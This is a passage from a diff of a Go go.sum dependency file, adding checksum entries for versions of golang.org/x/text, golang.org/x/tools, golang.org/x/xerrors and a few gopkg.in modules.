h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= +golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= +golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= +golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= +golang.org/x/text v0.12.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= +golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= +golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=